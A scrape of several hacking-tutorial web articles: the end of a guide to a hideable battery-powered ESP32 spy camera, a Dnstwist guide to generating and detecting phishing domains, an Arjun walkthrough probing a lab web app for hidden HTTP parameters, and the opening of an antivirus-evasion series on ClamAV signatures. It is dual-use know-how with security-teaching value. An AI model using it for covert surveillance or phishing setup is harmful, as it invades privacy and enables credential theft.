WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println(""); Serial.println("WiFi connected"); startCameraServer(); Serial.print("Camera Ready! Use 'http://"); Serial.print(WiFi.localIP()); Serial.println("' to connect"); } void loop() { // put your main code here, to run repeatedly: delay(10000); }Step 3: Tweak the Example Sketch's CodeIn the default CameraWebServer sketch, we need to make sure our AI Thinker board is selected and not another board. Right now, the following board will not be commented out:#define CAMERA_MODEL_WROVER_KIT // Has PSRAMAnd you need to add // to the beginning of that, then remove the // from the beginning of this line://#define CAMERA_MODEL_AI_THINKER // Has PSRAMSo that section in the code should look like this now:// Select camera model //#define CAMERA_MODEL_WROVER_KIT // Has PSRAM //#define CAMERA_MODEL_ESP_EYE // Has PSRAM //#define CAMERA_MODEL_M5STACK_PSRAM // Has PSRAM //#define CAMERA_MODEL_M5STACK_V2_PSRAM // M5Camera version B Has PSRAM //#define CAMERA_MODEL_M5STACK_WIDE // Has PSRAM //#define CAMERA_MODEL_M5STACK_ESP32CAM // No PSRAM #define CAMERA_MODEL_AI_THINKER // Has PSRAM //#define CAMERA_MODEL_TTGO_T_JOURNAL // No PSRAMThen, we need to put in the SSID name and password for the Wi-Fi network that we want to connect the spy camera to. Look for these two lines, then replace the asterisks with your Wi-Fi network's name and password.const char* ssid = "*********"; const char* password = "*********";That's it for customizing the sketch. Hit the compile button to compile it, then you'll be ready to flash your ESP32-CAM with the program.Step 4: Wire Up Your ESP32-CAMWith your FTDI programmer and ESP32-CAM module, use jumper wires with or without a breadboard to connect the FTDI programmer and ESP32-CAM module together.Connect GND on the FTDI to GND (by U0T) on the ESP32-CAM.Connect 5V on the FTDI to 5V on the ESP32-CAM.Connect TX on the FTDI to U03 on the ESP32-CAM.Connect RX on the FTDI to U0T on the ESP32-CAM.Connect I00 on the ESP32-CAM to GND right next to it.That last one is too short the CAM module so that it can be put into programming mode.Image by KeeYees/AmazonThis is what it should look like when done:Step 5: Upload the Sketch to Your ESP32-CAMOnce all the jumpers are in place, you can connect a Mini-USB cable to it with the regular USB end to your computer, then upload the sketch.Locate the port your ESP32-CAM is connected to in the Arduino IDE. First, go to "Tools," choose "Board," then select "AI Thinker ESP32-CAM" under the "ESP32 Arduino" section if you haven't already done so for some reason (you should have in Step 2).Next, go to "Tools," select "Port," then change it to the correct one if it hasn't already been selected automatically. Be extra cautious that you've selected the right port for the ESP32-CAM, as you will not want to overwrite any other devices.To flash over the Wi-Fi sketch to your ESP32-CAM, click on the upload button (the right arrow in the top left). You'll see a bunch of stuff happen. Once the red text appears on the screen, you know it's actually flashing it over. When it's done, you can open up the Serial Monitor withControl-Shift-Mto make sure there were no crazy errors or brownouts and to look for reboots.After flashing the sketch to the ESP32-CAM, look for the IP address of the board in the Serial Monitor. You'll need this later.Step 6: Find a Power Source for Your ESP32-CAMNow that your ESP32-CAM is programmed, you can disconnect the FTDI programmer; you'll only need that again if you need to update the code on your spy camera later. You could also connect a constant power source to the FTDI programmer when still connected to the ESP32-CAM if you want to power the camera up that way, but since we want it to be a spy camera, a battery would be much better.Disconnect the ESP32-CAM from the breadboard, then connect it to a D1 Mini Battery Shield, which will let us power the spy camera with a small LiPo battery. When connecting them, make sure you have the 5V pins on both lined up correctly. Then, connect a lithium-ion polymer battery to the Battery Shield using its two-pin JST-PH connector. I'm using a 3.7-volt 500 mAh battery.Step 7: Connect to Your Spy Camera's InterfaceIn a browser window, open the IP address for the ESP32-CAM that you found earlier on the same Wi-Fi network. This will give you access to the spy camera's settings. You can change the resolution, video quality, brightness, contrast, and saturation until you get the image you want, as well as add special effects and adjust other options.At the bottom of the menu is where you'll see the "Face Detection" and "Face Recognition" options, which you can toggle on. Right now, it only works with resolutions of 400 x 296 and lower.Hit "Start Stream" at the bottom to view the video stream. If you have only facial detection on, you should see a box around anyone's head to know that it's working. With facial recognition on, it will do the same but also name the face, which will be an intruder at first. You can click the "Enroll Face" button to enroll it as a non-intruder.Hide This Thing Wherever You WantThese boards can get pretty hot, so depending on your battery and how long you're running the camera, it may not work or will shut down. If that happens, look into getting a proper heat sink to dissipate the heat and keep things cooler. The more stuff you add to the spy camera, the harder it will be to hide it somewhere inconspicuous, so keep that in mind.Next Up:Unlock Facial Detection & Recognition on the Inexpensive ESP32-Based Wi-Fi Spy CameraWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image, screenshots, and GIF by Retia/Null ByteRelatedHow To:Unlock Facial Detection & Recognition on the Inexpensive ESP32-Based Wi-Fi Spy CameraHow To:Program an ESP8266 or ESP32 Microcontroller Over Wi-Fi with MicroPythonHow To:Enable Offline Chat Communications Over Wi-Fi with an ESP32How To:Null Byte's Hacker Guide to Buying an ESP32 Camera Module That's Right for Your ProjectHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Set up a hidden camera systemHow To:Make a sneaky, snake spy camera that records videoHow To:Intercept Images from a Security Camera Using WiresharkHow To:Turn an Old Android Device into a Security CameraHow To:Use an iPhone as spy cameraHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Set up an X10 spy cameraHow To:Control Your Samsung Smart Camera with Your Android or iOS DeviceHow To:Make a motion triggered spy cameraHow To:Share Your Wi-Fi Password with a QR Code in Android 10How To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:Turn Off All Tracking Sensors on Android 10How To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Fix Wi-Fi Performance Issues in iOS 8 & YosemiteHow To:Spy on Traffic from a Smartphone with WiresharkHow To:Easily Share Your Wi-Fi Password with a QR Code on Your Android PhoneHow To:FaceTime Forcing LTE Instead of Wi-Fi? Here's How to Fix ItHow To:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266How To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Google Photos Waiting for Wi-Fi? Here's the FixHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5News:PSP2 (Next Generation Portable) or NGPNostalgia Challenge:UntitledNews:Battle of the Shaky CamSUBMIT:Your Best July 4th Fireworks Photo by the 11th. WIN: Underwater Digi Cam [Closed/Winner Announced]News:The 5 Best iPhone/iPad Apps for Exporting and Importing Your Photos
How to Easily Generate Hundreds of Phishing Domains « Null Byte :: WonderHowTo
A convincing domain name is critical to the success of any phishing attack. With a single Python script, it's possible to find hundreds of available phishing domains and even identify phishing websites deployed by other hackers for purposes such as stealing user credentials.Dnstwist, created by@elceef, is a domain name permutation search tool which detects phishing domains,bitsquatting,typosquatting, and fraudulent websites which share similar-looking domain names. Dnstwist takes the given target domain name and generates a list of potential phishing domains. The generated domain names are then queried. If a discovered domain redirects to a web server, Dnstwist will record the domain's IP address.Like most tools designed for penetration testing, Dnstwist is a double-edged sword. It can be used by attackers to find ideal candidate domains for phishing attacks where they couldclone the original websiteand get users to input their credentials into a fake website, or it can be used by cybersecurity professionals and sysadmins to quickly locate and identify domains created by adversaries and attackers.Don't Miss:How to Clone Any Website Using HTTrackSupported Naming SchemesDsntwist supports a variety of phishing domain schemes and types which are used to generate a vast selection of potential phishing domains. I'll cover each below before jumping right into the how-to.1. AdditionLetters are appended to the end of the given domain name. Below is an example of Bank of America, one of the largest banks in the United States. Unlike some of the other options below, a simple addition is easy enough to spot by an end user if he or she just glances at the URL.2. BitsquattingBitsquatting refers to the registration of a domain names 1-bit different from a legitimate domain. Below is an example for Wikipedia, the largest and most popular general reference website on the internet. This is a little trickier on the eyes than the "additions" above since a lot of peopleread words based on the first and last letterand don't look at every letter individually.Don't Miss:Use Leaked Password Databases to Create Brute-Force Wordlists3. HomoglyphPhishing campaigns using homoglyphs are referred to ashomograph attacks, even though the alternative characters are referred to as homoglyphs and not homographs. These type of attacks still affect Firefox and most Android devices, and were recently made famous byXudong Zheng, who createdthe first homoglyph phishing addressforapple.com. Using Facebook as an example, I found there were many homoglyph phishing domains still available for as little as $11.Don't Miss:Ways to Crack a Facebook Password (& Protect Yourself)To check the discovered domain name against a domain registrar, copy and paste the domain from the Dnstwist terminal into the registrar's search bar.4. OmissionLetters are simply removed from the domain name. To my surprise, all of the Instagram domain names were listed as available. While someone will probably notice if the first or last letter in the domain name is missing, they might not notice one in the middle gone.5. SubdomainA period inserted at varying positions in the given domain name. Using Gizmodo as an example, we can see the domains "odo.com" and "zmodo.com" are available. It's just a matter of creating convincing subdomains to make an effective phishing domain. Like "additions," this might be more obvious than the other tricks here.6. Vowel-SwapVowels found in the given domain are swapped for different vowels. At a glance, many of these domains will likely fool most victims into clicking on fraudulent links. Again, this works since most people scan words using the first and last letter, not necessarily every letter in the middle. If a replaced vowel is the first or last letter, it probably won't work as well.Don't Miss:Find Anyone's Private Phone Number Using FacebookNow that you know all of the tricks Dnstwist can use to find used and available phishing domains, let's see how to actually use the tool.Step 1: Set Up DnstwistDnstwist relies on several Python dependencies which can be installed inKali Linuxby typing the below command into a terminal.apt-get install python-dnspython python-geoip python-whois python-requests python-ssdeep python-cffi Reading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: libfuzzy2 python-certifi python-openssl-python-ply python-pycparser python-simplejson python-urllib3 whois Suggested packages: python-openssl-doc python-openssl-dbg python-ply-doc python-socks python-ntlm The following NEW packages will be installed: libfuzzy2 python-certifi python-cffi python-dnspython python-geoip python-openssl python-ply python-pycparser python-requests python-simplejson python-ssdeep python-urllib3 python-whois whois 0 upgraded, 14 newly installed, 0 to remove and 164 not upgraded Need to get 778 kB/893 kB of archives After this operation, 3,842 kB of additional disk space will be used. Do you want to continue [Y/n] yNext, clone theDnstwist GitHub repository.git clone https://github.com/elceef/dnstwist Cloning into 'dnstwist'... remote: Counting objects: 670, done. remote: Total 670 (delta 0), reused 1 (deltaa 0), pack-reused 669 Receieving objects: 100% (670/670), 3.18 MiB | 89.00 KiB/s, done. Resolving deltas: 100% (352/352), done.Don't Miss:Use Git to Clone, Compile & Refine Open-Source Hacking ToolsFinally, use thecdcommand to change into the newly create "dnstwist" directory and use the command underneath it to view the available options.cd dnstwist/ ./dnstwist.py --help usage: ./dnstwist.py [OPTION]... DOMAIN Find similar-looking domain names that adversaries can use to attack you. Can detect typosquatters, phishing attacks, fraud and corporate espionage. Useful as an additional source of targeted threat intelligence. positional arguments: domain domain name or URL to check optional arguments: -h, --help show this help message and exit -a, --all show all DNS records -b, -banners determine HTTP and SMTP service banners -c, --csv print output in CSV format -d FILE, --dictionary FILE generate additional domains using dictionary FILE -g, --geoip perform lookup for GeoIP location -j, --json print output in JSON format -m, --mxcheck check if MX host can be used to intercept e-mails -r, --registered show only registered domain names -s, --ssdeep fetch web pages and compare their fuzzy hashes to evaluate similarity -t NUMBER, --threads NUMBER start specified NUMBER of threads (default: 10) -w, --whois perform lookup for WHOIS creation/update time (slow)Step 2: Generate Phishing Domains with DnstwistTo start generating phishing domains with Dnstwist, use the below command. There are several arguments being utilized in my example command, and in this case, since we're saving the results to a file, we won't see any results on the screen.Don't Miss:Easily Detect CVEs with Nmap Scripts./dnstwist.py --ssdeep --json --threads 40 website.com > website.com.jsonThe--ssdeepargument instructs Dnstwist to analyze the HTML found on each domain and compare it to the HTML of the given (real) website. The level of similarity will be expressed as a percentage. However, each website should be inspected manually regardless of the percentage level issued by Dnstwist. These percentages are merely there to aid security professionals in identifying which domains are most likely to be phishing domains.Dnstwist supports two output formats which can be used with other applications. The--jsonoutput format was used in my above example but there's also support for CSV outputs which can be enabled using the--cvsargument instead of the JSON format. To save either format to a file, the> filenameredirect can be used to write the data to a given filename.By default, Dnstwist will make only 10 requests at a time when enumerating available phishing domains. This number can be increased or decreased using the--threadsargument and specifying a value.If you want to see results on the screen and not write them to a file, you can use the below command, swapping out "facebook.com" with the domain you want. A progress bar will print at the bottom of the Dnstwist terminal. Depending on network speed and number of threads, this can take several minutes to complete../dnstwist.py --ssdeep --threads 40 facebook.com _ _ _ _ __| |_ __ ___| |___ _(_)___| |_ / _` | '_ \/ __| __\ \ /\ / / / __| __| | (_| | | | \__ \ |_ \ V V /| \__ \ |_ \__,_|_| |_|___/\__| \_/\_/ |_|___/\__| {1.04b} Fetching content from: https://facebook.com ... 200 OK (541.4 Kbytes) Processing 284 domain variants ...22%..42%...63%...88%. 210 hits (73%)Always Pay Close Attention the Domain NamesAs an attacker preparing to perform a phishing campaign during a red team engagement or a sysadmin preparing to defend against such attacks, Dnstwist is a fantastic tool which can be used to enumerate viable domains likely to be used for nefarious purposes. Dnstwist offers several key advantages over similar tools such as the ability to analyze and compare HTML of potential phishing domains, support for different output formats, and a wide variety of generated phishing domains.If you're just a regular end user visiting a website, pay extra close attention to the URL when you get there. While homoglyphs might be impossible to spot, the rest of these can be easily noticed if you spend more than a glance looking at them.Hope you enjoyed this article on generating and detecting phishing domains with Dnstwist. Leave questions and comments below or message me on Twitter@tokyoneon_if you need further explanation on any of this.Don't Miss:Hack Anyone's Wi-Fi Password Using a Birthday CardFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by tokyoneon/Null ByteRelatedNews:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)How To:Phish Social Media Sites with SocialFishNews:iOS 11.3.1 Finally Fixed the QR Code-Scanning Vulnerability in Your iPhone's Camera AppHow To:This LastPass Phishing Hack Can Steal All Your Passwords—Here's How to Prevent ItHow To:Identify Real Login Popups from Fake Phishing Attacks in iOS 8's Mail AppHow To:Easily use and understand the phishing filter in IE 8How To:Create a reverse lookup zone on Microsoft Windows Server 2008 DNSNews:The Hack of the Century!Hack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHow To:Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerNews:White House Hacked by Russian Hackers!How To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Delitos informaticos. Phishing, en 3 minutos.News:Good do-it-yourself micro budget video lightsBoo Box Challenge:Wheel in the SkyNews:How-To-Generate Thousands Of Valid Email IDsNews:LEGO Cable Camera Rig
Raspberry Pi « Null Byte :: WonderHowTo
No content found.
How to Discover Hidden HTTP Parameters to Find Weaknesses in Web Apps « Null Byte :: WonderHowTo
Hackingweb applicationscan sometimes be challenging due to the sheer amount of moving parts they possess. At the core of these apps are HTTP requests and parameters, but these things are often concealed from the user, due to security reasons, convenience, or both. However, a tool called Arjun can be used to discover hidden HTTP parameters in web apps.HTTP parameters, sometimes called query strings, are the part of a URL that takes user input and relays it to theweb app. A typical example will look something like:http://example.com/name?id=1When theserverreceives therequest, it will process the query and return a name with the ID of 1. Sometimes, such as inweb forms, multiple fields will be submitted as the query string. Typically, it will look something like:http://example.com/form?field1=v1&field2=v2In certain cases, some of these parameters might be hidden from view. For example, if a hidden parameter ofadminwas set toTrue, there might be different functionality than that of aregular user.Arjunis a command-line tool that finds hidden HTTP parameters using awordlistof parameter names. It features multi-threading, rate limit handling, and allows custom headers to be added to requests. It also supports GET, POST, and JSON methods, making it a valuable resource forprobing web applications.Download & SetupWe will useMetasploitable 2as the target andKali Linuxas our local machine, but you can use whatever you're comfortable with when following along.The first thing we need to do is download Arjun from GitHub. We can easily clone a copy of the repository using thegit clonecommand:~# git clone https://github.com/s0md3v/Arjun Cloning into 'Arjun'... remote: Enumerating objects: 226, done. remote: Total 226 (delta 0), reused 0 (delta 0), pack-reused 226 Receiving objects: 100% (226/226), 159.03 KiB | 1024.00 KiB/s, done. Resolving deltas: 100% (104/104), done.Now justchange into the new directoryusingcd:~# cd Arjun/And we can list the contents with thelscommand:~/Arjun# ls arjun.py CHANGELOG.md core db LICENSE README.mdArjun needsPythonversion 3.4 or higher to work properly, and we can see if it's installed on our system using thewhichcommand:~/Arjun# which python3 /usr/bin/python3And we can check the version number with the-Vswitch:~/Arjun# python3 -V Python 3.7.5rc1If Python 3.4 or above isn't on our system, we can install it through the package manager:~/Arjun# apt-get install python3That should be all we need to get started.Arjun in ActionIt's always a good idea to check the help menu when confronted with a new tool. Use the-hflag to view Arjun's help and optional arguments:~/Arjun# python3 arjun.py -h _ /_| _ ' ( |/ /(//) v1.6 _/ usage: arjun.py [-h] [-u URL] [-o OUTPUT_FILE] [-d DELAY] [-t THREADS] [-f WORDLIST] [--urls URL_FILE] [--get] [--post] [--headers [HEADERS]] [--json] [--stable] [--include INCLUDE] optional arguments: -h, --help show this help message and exit -u URL target url -o OUTPUT_FILE path for the output file -d DELAY request delay -t THREADS number of threads -f WORDLIST wordlist path --urls URL_FILE file containing target urls --get use get method --post use post method --headers [HEADERS] add headers --json treat post data as json --stable prefer stability over speed --include INCLUDE include this data in every requestThe most basic way to run the tool is by supplying a valid URL — use the-uflag to do so:~/Arjun# python3 arjun.py -u http://10.10.0.50/phpMyAdmin/ _ /_| _ ' ( |/ /(//) v1.6 _/ [~] Analysing the content of the webpage [~] Analysing behaviour for a non-existent parameter [!] Reflections: 0 [!] Response Code: 200 [!] Content Length: 4145 [!] Plain-text Length: 474 [~] Parsing webpage for potential parameters [+] Heuristic found a potential post parameter: phpMyAdmin [!] Prioritizing it [+] Heuristic found a potential post parameter: db [!] Prioritizing it [+] Heuristic found a potential post parameter: table [!] Prioritizing it [+] Heuristic found a potential post parameter: lang [!] Prioritizing it [+] Heuristic found a potential post parameter: convcharset [!] Prioritizing it [+] Heuristic found a potential post parameter: token [!] Prioritizing it [+] Heuristic found a potential post parameter: pma_username [!] Prioritizing it [+] Heuristic found a potential post parameter: pma_password [!] Prioritizing it [+] Heuristic found a potential post parameter: server [!] Prioritizing it [~] Performing heuristic level checks [!] Scan Completed [+] Valid parameter found: db [+] Valid parameter found: phpMyAdmin [+] Valid parameter found: table [+] Valid parameter found: target [+] Valid parameter found: GLOBALS [+] Valid parameter found: pma_usernameWe can see it starts analyzing the page, looking for any potential HTTP parameters that might be hidden. It finds a few valid ones and gives us the results at the bottom.We can also specify which type of request data to use. For example, to search for GET parameters, simply add the--getoption:~/Arjun# python3 arjun.py -u http://10.10.0.50/phpMyAdmin/ --get _ /_| _ ' ( |/ /(//) v1.6 _/ [~] Analysing the content of the webpage [~] Analysing behaviour for a non-existent parameter [!] Reflections: 0 [!] Response Code: 200 [!] Content Length: 4145 [!] Plain-text Length: 474 [~] Parsing webpage for potential parameters ...To search for POST parameters, use the--postoption:~/Arjun# python3 arjun.py -u http://10.10.0.50/phpMyAdmin/ --post _ /_| _ ' ( |/ /(//) v1.6 _/ [~] Analysing the content of the webpage [~] Analysing behaviour for a non-existent parameter [!] Reflections: 0 [!] Response Code: 200 [!] Content Length: 4145 [!] Plain-text Length: 474 [~] Parsing webpage for potential parameters ...And to search for JSON parameters, use the--jsonoption:~/Arjun# python3 arjun.py -u http://10.10.0.50/phpMyAdmin/ --json _ /_| _ ' ( |/ /(//) v1.6 _/ [~] Analysing the content of the webpage [~] Analysing behaviour for a non-existent parameter [!] Reflections: 0 [!] Response Code: 200 [!] Content Length: 4145 [!] Plain-text Length: 474 [~] Parsing webpage for potential parameters ...We can also supply Arjun with a list of multiple URLs to use instead of just a single one. Use the--urlsflag followed by the name of the file containing the list of URLs:~/Arjun# python3 arjun.py --urls urls.txt _ /_| _ ' ( |/ /(//) v1.6 _/ [~] Scanning: http://10.10.0.50/phpMyAdmin/ [~] Analysing the content of the webpage [~] Analysing behaviour for a non-existent parameter [!] Reflections: 0 [!] Response Code: 200 [!] Content Length: 4145 [!] Plain-text Length: 474 [~] Parsing webpage for potential parameters ...In the same vein, we can useour own wordlistcontaining custom parameter names instead of the default one Arjun uses. Use the-fflag followed by the name of the custom wordlist:~/Arjun# python3 arjun.py -u http://10.10.0.50/phpMyAdmin/ -f parameters.txt _ /_| _ ' ( |/ /(//) v1.6 _/ [~] Analysing the content of the webpage [~] Analysing behaviour for a non-existent parameter [!] Reflections: 0 [!] Response Code: 200 [!] Content Length: 4145 [!] Plain-text Length: 474 [~] Parsing webpage for potential parameters ...Arjun allows us to set the number of threads to use as well, the default being two. Use the-tswitch followed by the number of desired threads:~/Arjun# python3 arjun.py -u http://10.10.0.50/phpMyAdmin/ -t 16 _ /_| _ ' ( |/ /(//) v1.6 _/ [~] Analysing the content of the webpage [~] Analysing behaviour for a non-existent parameter [!] Reflections: 0 [!] Response Code: 200 [!] Content Length: 4145 [!] Plain-text Length: 474 [~] Parsing webpage for potential parameters ...We can also set the delay between requests with the-dflag:~/Arjun# python3 arjun.py -u http://10.10.0.50/phpMyAdmin/ -d 5 _ /_| _ ' ( |/ /(//) v1.6 _/ [~] Analysing the content of the webpage [~] Analysing behaviour for a non-existent parameter [!] Reflections: 0 [!] Response Code: 200 [!] Content Length: 4145 [!] Plain-text Length: 474 [~] Parsing webpage for potential parameters ...For particularly tricky targets, we can use the--stableoption, which will set the number of threads to 1 and the delay to a random number of seconds between 6 and 12:~/Arjun# python3 arjun.py -u http://10.10.0.50/phpMyAdmin/ --stable _ /_| _ ' ( |/ /(//) v1.6 _/ [~] Analysing the content of the webpage [~] Analysing behaviour for a non-existent parameter [!] Reflections: 0 [!] Response Code: 200 [!] Content Length: 4145 [!] Plain-text Length: 474 [~] Parsing webpage for potential parameters ...Arjun makes it easy to save the results in JSON format — just use the-oswitch followed by the name of the output file:~/Arjun# python3 arjun.py -u http://10.10.0.50/phpMyAdmin/ -o results.json _ /_| _ ' ( |/ /(//) v1.6 _/ [~] Analysing the content of the webpage [~] Analysing behaviour for a non-existent parameter [!] Reflections: 0 [!] Response Code: 200 [!] Content Length: 4145 [!] Plain-text Length: 474 [~] Parsing webpage for potential parameters [+] Heuristic found a potential post parameter: phpMyAdmin [!] Prioritizing it [+] Heuristic found a potential post parameter: db [!] Prioritizing it [+] Heuristic found a potential post parameter: table [!] Prioritizing it [+] Heuristic found a potential post parameter: lang [!] Prioritizing it [+] Heuristic found a potential post parameter: convcharset [!] Prioritizing it [+] Heuristic found a potential post parameter: token [!] Prioritizing it [+] Heuristic found a potential post parameter: pma_username [!] Prioritizing it [+] Heuristic found a potential post parameter: pma_password [!] Prioritizing it [+] Heuristic found a potential post parameter: server [!] Prioritizing it [~] Performing heuristic level checks [!] Scan Completed [+] Valid parameter found: GLOBALS [+] Valid parameter found: db [+] Valid parameter found: phpMyAdmin [+] Valid parameter found: table [+] Valid parameter found: target [+] Valid parameter found: pma_username [!] Saving output to JSON file in results.jsonAnother handy feature is the ability to include specific data to be sent with every request. Use the--includeoption with the data string to be sent in quotes:~/Arjun# python3 arjun.py -u http://10.10.0.50/phpMyAdmin/ --include 'data=test' _ /_| _ ' ( |/ /(//) v1.6 _/ [~] Analysing the content of the webpage [~] Analysing behaviour for a non-existent parameter [!] Reflections: 0 [!] Response Code: 200 [!] Content Length: 4145 [!] Plain-text Length: 474 [~] Parsing webpage for potential parameters ...We can also use the--headersoption, which will allow us to send header information with the request:~/Arjun# python3 arjun.py -u http://10.10.0.50/phpMyAdmin/ --headersThat will open up atext editor(nano by default), allowing us to paste any headers right in:GNU nano 4.5 /tmp/tmptvwpv4kd Host: EXAMPLE Accept: TEST Referer: https://www.google.comThe default editor can be changed in/core/prompt.pyto an editor of choice.Wrapping UpToday, we learned a bit about HTTP parameters and how sometimes they can be hidden from plain view. Arjun is a tool that can be used to expose these hidden parameters, leading to increased visibility of a web app's attack surface. We explored the tool and some of its options, including the ability to use different request methods, custom threading and delay, persistent request data, and more. Arjun is a nice little tool that anyone serious about attacking web applications can benefit from.Recommended Book:Learning HTTP/2: A Practical Guide for BeginnersWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by drd_/Null ByteRelatedHow To:Remove Stock iOS App, Without Jailbreak (iOS 6)How To:Weakness in Boingo Hotspots Can Be Exploited for Free Wi-Fi Access at AirportsHow To:SQL Injection Finding Vulnerable Websites..Hack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Break into Router Gateways with PatatorHow To:Lock Your Photos, Videos, Files, & Passwords in a Digital Safe for iOSHow To:Use export plug-ins in ApertureHow To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)How To:Access Deep WebEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkNews:Proposition 25News:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreHow To:Subscribe to Google+ Users with Google ReaderNews:"Desktop, PC, Online Experience, ALL Enhanced Ten-Fold..."News:Links for Gifts and Building RequestsNews:Paradise City Documentary TrailerNews:FarmVille Orchard and Tree Gifting LinksNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebNews:Why do teens do crazy things?News:Nursery Barn ExpansionHow To:10+ Time Saving Menu Bar Applications for MacNews:LA Live on PBS July 31stNews:Oceania Palace - hidden light trickNews:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateCircle Sunday:Anti-Theft Lunch Bags, London Riots Cleanup & Eureka CancelledNews:Hex (hexidecimal) ExplainedNews:Security Flaw in HTC Smartphones Leaks Your Personal Data to Certain Android AppsAtomic Web:The BEST Web Browser for iOS DevicesNews:Invite for CommentsNews:Welcome to the world of Whidbey IslandNews:Version 1.01 FarmVille iPhone App ReleasedNews:Weekly Staff Challenge entryNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersHow To:Make Minecraft PotionsIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:The Basics Of Website Marketing
Hack Like a Pro: How Antivirus Software Works & How to Evade It, Pt. 3 (Creating a Malware Signature in ClamAV) « Null Byte :: WonderHowTo
Welcome back, my budding hackers!Inthis series, we are trying to understand how AV software works so that we can learn to evade it. To that end, we are working with the open-source AV software, ClamAV. I had previously introduced ClamAV inPart 2 of this series. If you have not installed it yet, go back to that and install it.To understand how AV works, we will be building our own malware signatures in this tutorial. The more we know how these signatures work, the better we can develop methods to evade them.Step 1: Fire Up Kali & Open ClamAVIn my previous tutorial, we hadinstalled ClamAV in our Kali system. Also, remember that I had showed you how to use sigtool to unpack the malware signatures.Let's navigate to the ClamAV directory:kali > cd clamav-0.98.7Step 2: Create an ASCII-Based SignatureLet's assume that a newly discovered bit of malware has a unique signature that we can identify. We have isolated and disassembled it. Furthermore, let's assume that the signature is in ASCII. Next, let's assume that the ASCII signature isnullbyte. If we want to create a signature then for that malware, the first thing we would need to do is to convert that ASCII signature to hex.Sigtool is a tool unique to ClamAV that enables us to work with malware signatures (hence the namesignature tool). Let's use that tool to create hexadecimal signature ofnullbyte. The syntax is simple and straightforward. Simply type the commandsigtoolfollowed by the--hex-dumpswitch. Hitenter, then input the ASCII you want converted to hex.kali > sigtool --hex-dumpnullbyteNote that after enteringnullbyteas my signature, I hitenterand then sigtool generated the hexadecimal representation of it. Unfortunately, it took as input bothnullbyteand the control character0a, which is for when I hit theenterkey signifying the end of one line and the start of another. (In Windows, this would be0d0a, a combination of the CR (carriage return) and LF (line feed) characters.)If we are to use this signature effectively in ClamAV, we need to truncate that 0a off the end, so that our signature becomes:6e756c6c62797465Step 3: Signature FormatNext, we want to create a malware signature file. The basic signature format in .ndb files is:SigName:Target:Offset:HexadecimalSignatureLet's break that down to better understand:SigNameis a unique ASCII name or label of the signature file.Targetis the type of file. (See the table below.)Offsetis the number of bytes from the start of the file to look for the signature.HexadecimalSignatureis the hex representation of the signature of the malware.TheTargetparameter is one of the following:0 = any file type1= Windows PE2 = OLE3 = normalized HTML4 = email5 = image files6= ELF7 = normalized ASCII8 = unused9 = Mach-O binariesIf we want to now use the hex signature we created in the Step #2 to look for that ASCII string in any file, we could create signature file 